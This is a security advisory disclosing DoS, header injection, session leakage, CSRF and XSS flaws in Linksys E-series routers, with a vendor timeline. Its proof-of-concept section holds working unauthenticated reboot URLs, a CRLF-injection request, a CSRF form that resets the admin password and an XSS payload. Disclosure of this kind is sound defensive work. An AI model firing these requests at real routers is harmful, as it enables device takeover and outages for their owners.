SEC Consult Vulnerability Lab Security Advisory < 20171018-1 >
=======================================================================
              title: Multiple vulnerabilities
            product: Linksys E series, see "Vulnerable / tested versions"
 vulnerable version: see "Vulnerable / tested versions"
      fixed version: no public fix, see solution/timeline
         CVE number: -
             impact: high
           homepage: https://www.linksys.com/
              found: 2017-06-26
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Today, Belkin International has three brands a Belkin, Linksys and WeMo
a to enhance the technology that connects us to the people, activities
and experiences we love. Belkin products are renowned for their
simplicity and ease of use, while our Linksys brand helped make
wireless connectivity mainstream around the globe. Our newest brand,
WeMo, is the leader in delivering customizable smart home experiences.
Its product platform empowers people to monitor, measure and manage
their electronics, appliances and lighting at home and on-the-go."

Source: https://www.belkin.com/uk/aboutUs/


Business recommendation:
------------------------
SEC Consult recommends not to use this product in a production environment
until a thorough security review has been performed by security
professionals and all identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) Denial of Service (DoS)
A denial of service vulnerability is present in the web server of the
device. This vulnerability is very simple to trigger since a single GET
request to a cgi-script is sufficient.

A crafted GET request, e.g. triggered by CSRF over a user in the
internal network, can reboot the whole device or freeze the web interface
and the DHCP service. This action does not require authentication.

2) HTTP Header Injection & Open Redirect
Due to a flaw in the web service a header injection can be triggered
without authentication. This kind of vulnerability can be used to perform
different arbitrary actions. One example in this case is an open redirection
to another web site. In the worst case a session ID of an authenticated user
can be stolen this way because the session ID is embedded into the url
which is another flaw of the web service.

3) Improper Session-Protection
The session ID for administrative users can be fetched from the device from
LAN without credentials because of insecure session handling.
This vulnerability can only be exploited when an administrator was
authenticated to the device before the attack and opened a session previously.

The login works if the attacker has the same IP address as the PC
of the legitimate administrator. Therefore, a CSRF attack is possible when
the administrator is lured to surf on a malicious web site or to click on
a malicious link.

4) Cross-Site Request Forgery Vulnerability in Admin Interface
A cross-site request forgery vulnerability can be triggered in the
administrative interface. This vulnerability can be exploited because the
session ID can be hijacked by using 3) via LAN. An exploitation via internet
is only possible if the session id is exposed to the internet (for example via
the referrer).

An attacker can change any configuration of the device by luring a user to
click on a malicious link or surf to a malicious web-site.

5) Cross-Site Scripting Vulnerability in Admin Interface
A cross-site scripting vulnerability can be triggered in the administrative
interface. This vulnerability can be exploited because the session ID can
be hijacked by using 3) via LAN. An exploitation via internet is only possible
if the session id is exposed to the internet (for example via the referrer).

By using this vulnerability, malicious code can be executed in the context of
the browser session of the attacked user.


Proof of concept:
-----------------
1) Denial of Service

Unauthenticated request for triggering a router reboot in browser:
https://<Router-IP>/upgrade.cgi
https://<Router-IP>/restore.cgi

Unauthenticated request for triggering a router freeze in browser:
https://<Router-IP>/mfgtst.cgi


2) HTTP Header Injection & Open Redirect

A header injection can be triggered by the following unauthenticated request:

Request:
------------------------------------------------------------------------------
POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Referer: https://<Router-IP>/Unsecured.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=INJEC%0d%0aTION&change_action=
------------------------------------------------------------------------------

Response:
------------------------------------------------------------------------------
HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:41 GMT
Location: https://INJEC
TION
Content-Type: text/plain
Connection: close
------------------------------------------------------------------------------

Setting a new location will result in an open redirect:

Request:
------------------------------------------------------------------------------
POST /UnsecuredEnable.cgi HTTP/1.1
Host: <Router-IP>
Accept: */*
Accept-Language: en
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

submit_type=&submit_button=UnsecuredEnable&gui_action=Apply&wait_time=19&next_url=www.sec-consult.com&change_action=
------------------------------------------------------------------------------
Response:
------------------------------------------------------------------------------
HTTP/1.1 302 Redirect
Server: httpd
Date: Thu, 01 Jan 1970 00:27:57 GMT
Location: https://www.sec-consult.com
Content-Type: text/plain
Connection: close
------------------------------------------------------------------------------

3) Improper Session-Protection
These two requests can be used to fetch the current session ID of an authenticated
user.

https://<Device-IP>/BlockTime.asp
https://<Device-IP>/BlockSite.asp

The response is nearly the same (except the "inetblock" and "blocksite"
functions):
-------------------------------------------------------------------------------
HTTP/1.1 200 Ok
Server: httpd
Date: Thu, 01 Jan 1970 00:04:32 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html

[...]

function init()
{
    var close_session = "0";
    if ( close_session == "1" )
    {
        document.forms[0].action= "hndUnblock.cgi";
    }
    else
    {
        document.forms[0].action= "hndUnblock.cgi?session_id=<Session-ID>";
    }

}

</script>
</head>
<body id="blocked" onload=init()>
<div id="content">
<div class="h1">
<h1><span><script>Capture(hndmsg.blocksite)</script>
</span>
</h1>
</div>

[...]

</body>
</html>
-------------------------------------------------------------------------------

4) Cross-Site Request Forgery Vulnerability in Admin Interface
The following proof of concept HTML code can change the router password by
exploiting CSRF after replacing the <Session-ID> with the fetched one from 3).

The new password is "secconsult".
-------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
      <input type="hidden" name="submit_button" value="Management" />
      <input type="hidden" name="change_action" value="" />
      <input type="hidden" name="gui_action" value="Apply" />
      <input type="hidden" name="PasswdModify" value="1" />
      <input type="hidden" name="http_enable" value="1" />
      <input type="hidden" name="https_enable" value="0" />
      <input type="hidden" name="ctm404_enable" value="" />
      <input type="hidden" name="remote_mgt_https" value="0" />
      <input type="hidden" name="wait_time" value="4" />
      <input type="hidden" name="need_reboot" value="0" />
      <input type="hidden" name="http_passwd" value="secconsult" />
      <input type="hidden" name="http_passwdConfirm" value="secconsult" />
      <input type="hidden" name="_http_enable" value="1" />
      <input type="hidden" name="web_wl_filter" value="0" />
      <input type="hidden" name="remote_management" value="0" />
      <input type="hidden" name="nf_alg_sip" value="0" />
      <input type="hidden" name="upnp_enable" value="1" />
      <input type="hidden" name="upnp_config" value="1" />
      <input type="hidden" name="upnp_internet_dis" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
-------------------------------------------------------------------------------


5) Cross-Site Scripting Vulnerability in Admin Interface
The <Session-ID> must be replaced again. The "apply.cgi" script can be abused
to trigger the cross-site scripting vulnerability.

-------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://192.168.1.1/apply.cgi?session_id=<Session-ID>" method="POST">
      <input type="hidden" name="submit_button" value="index" />
      <input type="hidden" name="change_action" value="" />
      <input type="hidden" name="submit_type" value="" />
      <input type="hidden" name="gui_action" value="Apply" />
      <input type="hidden" name="now_proto" value="dhcp" />
      <input type="hidden" name="daylight_time" value="1" />
      <input type="hidden" name="switch_mode" value="0" />
      <input type="hidden" name="hnap_devicename" value="csrft_POC" />
      <input type="hidden" name="need_reboot" value="0" />
      <input type="hidden" name="user_language" value="" />
      <input type="hidden" name="wait_time" value="1';alert('XSS-PoC')//155" />
      <input type="hidden" name="dhcp_start" value="100" />
      <input type="hidden" name="dhcp_start_conflict" value="0" />
      <input type="hidden" name="lan_ipaddr" value="4" />
      <input type="hidden" name="ppp_demand_pppoe" value="9" />
      <input type="hidden" name="ppp_demand_pptp" value="9" />
      <input type="hidden" name="ppp_demand_l2tp" value="9" />
      <input type="hidden" name="ppp_demand_hb" value="9" />
      <input type="hidden" name="wan_ipv6_proto" value="dhcp" />
      <input type="hidden" name="detect_lang" value="en" />
      <input type="hidden" name="wan_proto" value="dhcp" />
      <input type="hidden" name="wan_hostname" value="" />
      <input type="hidden" name="wan_domain" value="" />
      <input type="hidden" name="mtu_enable" value="0" />
      <input type="hidden" name="lan_ipaddr_0" value="192" />
      <input type="hidden" name="lan_ipaddr_1" value="168" />
      <input type="hidden" name="lan_ipaddr_2" value="1" />
      <input type="hidden" name="lan_ipaddr_3" value="1" />
      <input type="hidden" name="lan_netmask" value="255.255.255.0" />
      <input type="hidden" name="machine_name" value="Linksys09355" />
      <input type="hidden" name="lan_proto" value="dhcp" />
      <input type="hidden" name="dhcp_check" value="" />
      <input type="hidden" name="dhcp_start_tmp" value="100" />
      <input type="hidden" name="dhcp_num" value="50" />
      <input type="hidden" name="dhcp_lease" value="0" />
      <input type="hidden" name="wan_dns" value="4" />
      <input type="hidden" name="wan_dns0_0" value="0" />
      <input type="hidden" name="wan_dns0_1" value="0" />
      <input type="hidden" name="wan_dns0_2" value="0" />
      <input type="hidden" name="wan_dns0_3" value="0" />
      <input type="hidden" name="wan_dns1_0" value="0" />
      <input type="hidden" name="wan_dns1_1" value="0" />
      <input type="hidden" name="wan_dns1_2" value="0" />
      <input type="hidden" name="wan_dns1_3" value="0" />
      <input type="hidden" name="wan_dns2_0" value="0" />
      <input type="hidden" name="wan_dns2_1" value="0" />
      <input type="hidden" name="wan_dns2_2" value="0" />
      <input type="hidden" name="wan_dns2_3" value="0" />
      <input type="hidden" name="wan_wins" value="4" />
      <input type="hidden" name="wan_wins_0" value="0" />
      <input type="hidden" name="wan_wins_1" value="0" />
      <input type="hidden" name="wan_wins_2" value="0" />
      <input type="hidden" name="wan_wins_3" value="0" />
      <input type="hidden" name="time_zone" value="-08 1 1" />
      <input type="hidden" name="_daylight_time" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
-------------------------------------------------------------------------------


Vulnerable / tested versions:
-----------------------------
Linksys E2500 - 3.0.02 (build 2)

According to the Linksys security contact the following products are
affected too:
Linksys E900 (Version: 1.0.06)
Linksys E1200 (Version: 2.0.07 Build 5)
Linksys E8400 AC2400 Dual-Band Wi-Fi Router (Version: basic version ?)


Based on information embedded in the firmware of other Linksys products
gathered from our IoT Inspector tool we believe the following devices
are affected as well:

Linksys E900 (Version: 1.0.06)            -- confirmed by vendor
Linksys E900-ME (Version: 1.0.06)
Linksys E1200 (Version: 2.0.07 Build 5)   -- confirmed by vendor
Linksys E1500 (Version: 1.0.06 Build 1)
Linksys E3200 (Version: 1.0.05 Build 2)
Linksys E4200 (Version: 1.0.06 Build 3)
Linksys WRT54G2 (Version: 1.5.02 Build 5)


Vendor contact timeline:
------------------------
2017-07-10: Contacting vendor through security@linksys.com. Set release date
            to 2017-08-29.
2017-07-12: Confirmation of recipient. The contact also states that
            the unit is older and they have to look for it.
2017-08-07: Asking for update; Contact responds that they have to look for
            such a unit in their inventory.
2017-08-08: Contact responds that he verified three of four vulnerabilities.
2017-08-09: Sent PCAP dump and more information about vulnerability #4 to
            assist the contact with verification.
2017-08-18: Sending new advisory version to contact and asking for an update;
            No answer.
2017-08-22: Asking for an update; Contact states that he is trying to get a
            fixed firmware from the OEM.
2017-08-24: Asked the vendor how much additional time he will need.
2017-08-25: Vendor states that it is difficult to get an update from the OEM
            due to the age of the product ("Many of the engineers who
            originally worked on this code base are no longer with the
            company"). Clarified some CORS/SOP issues which were
            misunderstood.
2017-08-30: Sending Proof of Concept for CSRF/XSS as HTML files to the vendor.
            Changed the vulnerability description of the advisory to
            explain the possibility of exploiting the CSRF/XSS vulnerabilities
            from LAN and WAN side.
2017-09-07: Asking for an update; Vendor agrees with the new vulnerability
            descriptions and states that the OEM got back to them with a fix
            for the E2500 and they are in the QA phase. The vendor is expecting
            fixes for E900, E1200, and E8400 later this week or next week to
            hand them over to QA.
2017-09-07: Stated that E8400 was not found by the IoT Inspector because there
            was no firmware available to download online. Stated that it will
            be available in the next version of the advisory. Shifting the
            advisory release to 2017-09-26.
            Asking for confirmation of the other reported devices:
            Linksys E900-ME (Version: 1.0.06)
            Linksys E1500 (Version: 1.0.06 Build 1)
            Linksys E3200 (Version: 1.0.05 Build 2)
            Linksys E4200 (Version: 1.0.06 Build 3)
            Linksys WRT54G2 (Version: 1.5.02 Build 5)
            No answer.
2017-09-18: Sending new version of the advisory to the vendor. Asking for an
            update; No answer.
2017-09-21: Asking for an update; No answer.
2017-09-26: Asking for an update; No answer.
2017-10-02: Asking for an update and shifting the advisory release to
            2017-10-09; No answer.
2017-10-16: Informing the vendor that the advisory will be released on
            2017-10-18 because vendor is unresponsive.
2017-10-18: Public release of security advisory


Solution:
---------
Upgrade to new firmware version as soon as the vendor publishes it.


Workaround:
-----------
Restrict network access to the device.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF T. Weber / @2017